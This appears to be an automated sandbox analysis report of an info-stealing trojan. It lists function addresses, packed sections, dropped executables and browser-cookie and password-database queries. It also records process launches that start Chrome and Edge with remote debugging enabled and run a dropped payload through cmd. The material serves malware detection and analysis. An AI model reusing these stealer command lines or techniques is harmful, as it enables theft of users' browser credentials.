Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA84420	0_2_6CA84420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAAA430	0_2_6CAAA430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA38460	0_2_6CA38460
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA145B0	0_2_6CA145B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAEA5E0	0_2_6CAEA5E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAAE5F0	0_2_6CAAE5F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA82560	0_2_6CA82560
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC0570	0_2_6CAC0570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB68550	0_2_6CB68550
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA78540	0_2_6CA78540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB24540	0_2_6CB24540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA7E6E0	0_2_6CA7E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CABE6E0	0_2_6CABE6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA446D0	0_2_6CA446D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA7C650	0_2_6CA7C650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA4A7D0	0_2_6CA4A7D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA0700	0_2_6CAA0700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA300B0	0_2_6CA300B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFC0B0	0_2_6CAFC0B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA18090	0_2_6CA18090
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAEC000	0_2_6CAEC000
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE8010	0_2_6CAE8010
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA6E070	0_2_6CA6E070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA201E0	0_2_6CA201E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB04130	0_2_6CB04130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA96130	0_2_6CA96130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA88140	0_2_6CA88140
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF22A0	0_2_6CAF22A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAEE2B0	0_2_6CAEE2B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBA62C0	0_2_6CBA62C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF8220	0_2_6CAF8220
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAEA210	0_2_6CAEA210
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA8260	0_2_6CAA8260
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB8250	0_2_6CAB8250
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA523A0	0_2_6CA523A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA7E3B0	0_2_6CA7E3B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA743E0	0_2_6CA743E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA92320	0_2_6CA92320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB62370	0_2_6CB62370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA22370	0_2_6CA22370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB3C360	0_2_6CB3C360
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB6370	0_2_6CAB6370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA28340	0_2_6CA28340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CABFC80	0_2_6CABFC80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE1CE0	0_2_6CAE1CE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB5DCD0	0_2_6CB5DCD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA31C30	0_2_6CA31C30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA23C40	0_2_6CA23C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB49C40	0_2_6CB49C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA13D80	0_2_6CA13D80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB69D90	0_2_6CB69D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF1DC0	0_2_6CAF1DC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA83D00	0_2_6CA83D00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA43EC0	0_2_6CA43EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB2DE10	0_2_6CB2DE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB7BE70	0_2_6CB7BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBA5E60	0_2_6CBA5E60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA41F90	0_2_6CA41F90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CACBFF0	0_2_6CACBFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB3DFC0	0_2_6CB3DFC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBA3FC0	0_2_6CBA3FC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA55F20	0_2_6CA55F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA15F30	0_2_6CA15F30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB77F20	0_2_6CB77F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA2D8E0	0_2_6CA2D8E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA538E0	0_2_6CA538E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB7B8F0	0_2_6CB7B8F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFF8F0	0_2_6CAFF8F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CABF8C0	0_2_6CABF8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA7D810	0_2_6CA7D810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF3840	0_2_6CAF3840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA31980	0_2_6CA31980
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF1990	0_2_6CAF1990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA859F0	0_2_6CA859F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB79F0	0_2_6CAB79F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB99C0	0_2_6CAB99C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA599D0	0_2_6CA599D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD5920	0_2_6CAD5920
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB6F900	0_2_6CB6F900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9F960	0_2_6CA9F960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CADD960	0_2_6CADD960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFDAB0	0_2_6CAFDAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA21AE0	0_2_6CA21AE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB1DA30	0_2_6CB1DA30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA5FA10	0_2_6CA5FA10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC1A10	0_2_6CAC1A10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBA9A50	0_2_6CBA9A50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA79BA0	0_2_6CA79BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE9BB0	0_2_6CAE9BB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB05B90	0_2_6CB05B90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA11B80	0_2_6CA11B80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA67BF0	0_2_6CA67BF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA6BB20	0_2_6CA6BB20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFFB60	0_2_6CAFFB60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBA14A0	0_2_6CBA14A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA214E0	0_2_6CA214E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB09430	0_2_6CB09430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAAD410	0_2_6CAAD410
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA59590	0_2_6CA59590
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA55F0	0_2_6CAA55F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB6F510	0_2_6CB6F510
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA87500	0_2_6CA87500
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA35510	0_2_6CA35510
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA516A0	0_2_6CA516A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA896A0	0_2_6CA896A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA49600	0_2_6CA49600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA97610	0_2_6CA97610
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA75640	0_2_6CA75640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA39650	0_2_6CA39650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAAB7A0	0_2_6CAAB7A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB637C0	0_2_6CB637C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA43720	0_2_6CA43720
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF9720	0_2_6CAF9720
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 32_2_00778860	32_2_00778860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 32_2_00777049	32_2_00777049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 32_2_007778BB	32_2_007778BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 32_2_00772D10	32_2_00772D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 32_2_00734DE0	32_2_00734DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 32_2_007731A8	32_2_007731A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 32_2_00767F36	32_2_00767F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 32_2_00734B30	32_2_00734B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 32_2_0077779B	32_2_0077779B

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CBA09D0 appears 343 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CA49B10 appears 109 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CA43620 appears 96 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CBAD930 appears 67 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CA7C5E0 appears 35 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CB59F30 appears 53 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CBADAE0 appears 85 times

Source: 87df69758f.exe.32.dr	Static PE information: No import functions for PE file found
Source: random[1].exe.32.dr	Static PE information: No import functions for PE file found

Source: 87df69758f.exe.32.dr	Static PE information: Data appended to the last section found
Source: random[1].exe.32.dr	Static PE information: Data appended to the last section found

Source: file.exe, 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2709602036.000000006FD62000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2703155584.0000000023BE0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: zffwgsyd ZLIB complexity 0.9949662143437777
Source: random[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.9982224965940054
Source: random[1].exe.0.dr	Static PE information: Section: gpnqxgzn ZLIB complexity 0.9941181822593168
Source: DocumentsDAFBGHCAKK.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9982224965940054
Source: DocumentsDAFBGHCAKK.exe.0.dr	Static PE information: Section: gpnqxgzn ZLIB complexity 0.9941181822593168
Source: skotes.exe.27.dr	Static PE information: Section: ZLIB complexity 0.9982224965940054
Source: skotes.exe.27.dr	Static PE information: Section: gpnqxgzn ZLIB complexity 0.9941181822593168

Source: DocumentsDAFBGHCAKK.exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: random[1].exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: skotes.exe.27.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@73/286@22/26

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA80300 MapViewOfFile,GetLastError,FormatMessageA,PR_LogPrint,GetLastError,PR_SetError,

0_2_6CA80300

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\14Q6TD3Q.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8960:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\a142108a-5505-43b1-a315-5c844119500e.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2707756482.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2698105662.000000001D9FF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2707756482.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2698105662.000000001D9FF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2707756482.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2698105662.000000001D9FF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2707756482.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2698105662.000000001D9FF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2675670278.000000000140E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies;
Source: file.exe, file.exe, 00000000.00000002.2707756482.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2698105662.000000001D9FF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2707756482.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2698105662.000000001D9FF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2707756482.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2698105662.000000001D9FF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2367330634.00000000014DE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2454639129.000000001D8AC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2366998068.000000001D8B9000.00000004.00000020.00020000.00000000.sdmp, JKKEBGCGHIDHCBFHIDGH.0.dr, JEBKEHJJDAAAAKECBGHD.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2707756482.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2698105662.000000001D9FF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2707756482.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2698105662.000000001D9FF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: DocumentsDAFBGHCAKK.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2256 --field-trial-handle=2168,i,6526957654909996711,10840638383487339068,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2040 --field-trial-handle=1788,i,42195172221371813,3229964833316750389,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2884 --field-trial-handle=2540,i,605694460769128355,10032923496715411102,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6688 --field-trial-handle=2540,i,605694460769128355,10032923496715411102,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6716 --field-trial-handle=2540,i,605694460769128355,10032923496715411102,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=3840 --field-trial-handle=2540,i,605694460769128355,10032923496715411102,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=3840 --field-trial-handle=2540,i,605694460769128355,10032923496715411102,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsDAFBGHCAKK.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsDAFBGHCAKK.exe "C:\Users\user\DocumentsDAFBGHCAKK.exe"
Source: C:\Users\user\DocumentsDAFBGHCAKK.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6960 --field-trial-handle=2540,i,605694460769128355,10032923496715411102,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsDAFBGHCAKK.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6960 --field-trial-handle=2540,i,605694460769128355,10032923496715411102,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2256 --field-trial-handle=2168,i,6526957654909996711,10840638383487339068,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
